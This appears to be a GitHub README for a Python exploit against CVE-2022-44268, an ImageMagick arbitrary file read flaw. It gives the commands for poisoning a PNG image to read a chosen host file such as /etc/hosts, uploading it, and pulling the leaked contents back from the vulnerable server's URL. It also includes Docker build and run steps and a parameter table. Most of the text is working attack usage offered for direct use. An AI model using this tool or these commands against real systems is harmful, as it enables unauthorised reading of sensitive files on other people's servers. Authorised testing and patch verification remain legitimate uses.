mouftan/cve-2022-44268Python-based exploit for CVE-2022-44268, an arbitrary file read vulnerability in ImageMagick. Poisons PNG images to read sensitive files from vulnerable hosts via web upload.
CVE-2022-44268 ImageMagick Arbitrary File Read
Poison the image ☣️
python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png
Upload poisoned PNG image.
Check if exploit was successful 🗡
python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png
Build
docker build -t cve-2022-44268 .
Run
docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png
| Parameter | Description | Type |
|---|---|---|
| --url | The URL of the uploaded PNG image | String |
| --image | Input PNG file | File |
| --output | Output PNG file | File |
| --file-to-read | File to read from vulnerable host | String |